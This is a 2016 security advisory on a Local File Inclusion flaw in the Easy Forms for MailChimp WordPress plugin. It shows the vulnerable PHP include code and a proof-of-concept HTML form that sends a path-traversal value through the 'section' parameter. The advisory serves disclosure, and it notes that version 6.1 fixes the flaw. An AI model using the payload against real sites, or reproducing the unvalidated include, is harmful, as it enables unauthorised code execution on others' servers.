Yorick Koster, July 2016

Easy Forms for MailChimp Local File Inclusion vulnerability

Abstract

It was discovered that the Easy Forms for MailChimp WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160712-0023

Tested versions

This issue was successfully tested on Easy Forms for MailChimp WordPress Plugin version 6.0.5.5.

Fix

This issue is resolved in Easy Forms for MailChimp 6.1.

Introduction

The Easy Forms for MailChimp WordPress Plugin allows adding unlimited MailChimp sign up forms to a WordPress site. It is possible to add forms to posts, pages, sidebars and other widgetized areas. A Local File Inclusion vulnerability exists in the Easy Forms for MailChimp WordPress plugin. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.

Details

The issue exists in the file /admin/partials/menu/options.php and is caused by the lack of input validation on the section request parameter. The vulnerable code is listed below.

<?php if( !isset( $_REQUEST['section'] ) || $_REQUEST['section'] == '' ) { 
      include YIKES_MC_PATH . 'admin/partials/menu/options-sections/general-settings.php';            
   } else {
   if( isset( $_REQUEST['addon'] ) && $_REQUEST['addon'] == 'true' ) {
      include apply_filters( 'yikes-mailchimp-'.$_REQUEST['section'].'-options-path' , '' );   
   } else {
      include YIKES_MC_PATH . 'admin/partials/menu/options-sections/' . $_REQUEST['section'] . '.php';   
   }
}
?>

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=yikes-inc-easy-mailchimp-settings" method="POST">
         <input type="hidden" name="section" value="../../edit-form" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>